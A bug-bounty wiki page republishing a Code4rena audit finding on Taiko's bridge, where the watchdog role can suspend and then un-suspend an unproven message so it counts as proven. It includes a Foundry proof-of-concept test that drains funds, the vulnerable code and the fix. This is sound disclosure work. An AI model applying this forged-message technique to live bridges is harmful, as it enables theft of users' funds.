Skip to content
Access control Audit finding Advanced

Bridge watcher can forge arbitrary message and drain bridge

The bridge watchdog role could call the suspend function to un-suspend a message that was never proven, which set its receipt timestamp to the current block time. Because any non-zero timestamp is treated as proven, the watchdog could forge arbitrary messages and drain the bridge of ETH and tokens.

monrel Follow with josephdara, Shield and 1 other

Originally disclosed on Code4rena

Submitted by monrel, also found by josephdara, Shield, and t0x1c

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/bridge/Bridge.sol#L82-L95

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/bridge/Bridge.sol#L230-L231

The bridge_watchdog role can forge arbitrary messages and drain the bridge of all ETH and tokens.

Proof of Concept

bridge_watchdog can call suspendMessasges() to suspend and un-suspend a message

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/bridge/Bridge.sol#L82-L95

    function suspendMessages(
        bytes32[] calldata _msgHashes,
        bool _suspend
    )
        external
        onlyFromOwnerOrNamed("bridge_watchdog")
    {
        uint64 _timestamp = _suspend ? type(uint64).max : uint64(block.timestamp);
        for (uint256 i; i < _msgHashes.length; ++i) {
            bytes32 msgHash = _msgHashes[i];
            proofReceipt[msgHash].receivedAt = _timestamp;
            emit MessageSuspended(msgHash, _suspend);
        }
    }

When this function is called to un-suspend a message we set proofReceipt[msgHash] = _timestamp. If the msgHash was not proven before it will now be treated as proven since any msgHash with a timestamp != 0 is treated as proven

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/bridge/Bridge.sol#L230-L231

        uint64 receivedAt = proofReceipt[msgHash].receivedAt;
        bool isMessageProven = receivedAt != 0

bridge_watchdog can therefore forge arbitrary messages and have them treated as proven by first suspending them and then un-suspending them.

bride_watchdog is supposed to only be able to ban and suspend messages, in the expected worst case bridge_watchdog is limited to DDOSing messages and bans until governance removes the the bridge_watchdog.

With the privilege escalation shown here the role can instead drain the bridge of all ETH and tokens.

POC

Here is a POC showing that we can forge an arbitrary message by suspending and un-suspending a message

To run this POC first change the following code in Bridge.t.sol so that we use a real signalService

register(
+address(addressManager), "signal_service", address(signalService), destChainId
-address(addressManager), "signal_service", address(mockProofSignalService), destChainId
);

Paste the below code and run into Bridge.t.sol and run forge test --match-test testWatchdogDrain -vvv

    function testWatchdogDrain() public {
        uint256 balanceBefore = Bob.balance;
        IBridge.Message memory message = IBridge.Message({
            id: 0,
            from: address(bridge),
            srcChainId: uint64(block.chainid),
            destChainId: destChainId,
            srcOwner: Alice,
            destOwner: Alice,
            to: Bob,
            refundTo: Alice,
            value: 10 ether,
            fee: 1,
            gasLimit: 1_000_000,
            data: "",
            memo: ""
        });

        bytes memory proof = hex"00";
        bytes32 msgHash = destChainBridge.hashMessage(message);

        bytes32[] memory msgHashA = new bytes32[](1);
        msgHashA[0] = msgHash;

        vm.prank(Alice);
        destChainBridge.suspendMessages(msgHashA, true);

        vm.prank(Alice);
        destChainBridge.suspendMessages(msgHashA, false);

        vm.chainId(destChainId);
        vm.prank(Bob, Bob);

        destChainBridge.processMessage(message, proof);

        IBridge.Status status = destChainBridge.messageStatus(msgHash);

        assertEq(status == IBridge.Status.DONE, true);
        console2.log("Bobs Stolen funds", Bob.balance-balanceBefore);

        console2.log("We have successfully processed a message without actually proving it!");
    }

Tools Used

Foundry, VScode

Recommended Mitigation Steps

Un-suspended messages should be set to 0 and be proven or re-proven.

    function suspendMessages(
        bytes32[] calldata _msgHashes,
        bool _suspend
    )
        external
        onlyFromOwnerOrNamed("bridge_watchdog")
    {
+       uint64 _timestamp = _suspend ? type(uint64).max : 0;
        for (uint256 i; i < _msgHashes.length; ++i) {
            bytes32 msgHash = _msgHashes[i];
            proofReceipt[msgHash].receivedAt = _timestamp;
            emit MessageSuspended(msgHash, _suspend);
        }
    }

dantaik (Taiko) confirmed and commented:

This is a valid bug report. The bug has been fixed in this PR: https://github.com/taikoxyz/taiko-mono/pull/16545

0xean (Judge) decreased severity to Medium and commented:

Good report, but I am not sure it qualifies as H severity and most likely should be M.

I think there is a pre-condition here (a malicious watchdog).

2 — Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.

Agree that if this attack is feasible, it represents privilege escalation.

As pointed out previously:

Privilege escalation issues are judged by likelihood and impact and their severity is uncapped.

Note: For full discussion, see here.


The original report as published on Code4rena, by monrel. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Un-suspending a message wrote the current block timestamp into the proof receipt, and any non-zero timestamp is treated as proof that the message was received.

Impact

A malicious watchdog could drain all ETH and tokens held by the bridge, though the judge treated it as Medium because a malicious watchdog is a precondition.

What the attacker needed

The bridge_watchdog role; a message that was never proven

The fix

The project fixed it by setting the receipt timestamp to zero when un-suspending, so the message must be proven again.

How it was found

  1. Call suspendMessages on a message hash that was never proven, with suspend set to true.
  2. Call suspendMessages on the same hash with suspend set to false, which sets its receipt timestamp to the current block time.
  3. Process the forged message with an empty proof; it is accepted as proven and the funds are paid out.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A bridge moves funds between two blockchains. Before a message is acted on, the bridge checks a receipt to confirm the message was really proven on the other side. Here the watchdog role could mark any message as proven without any real proof, so it could make the bridge pay out funds that were never sent.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by monrel

View all

10 more disclosed reports, best first.

More from Taiko

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.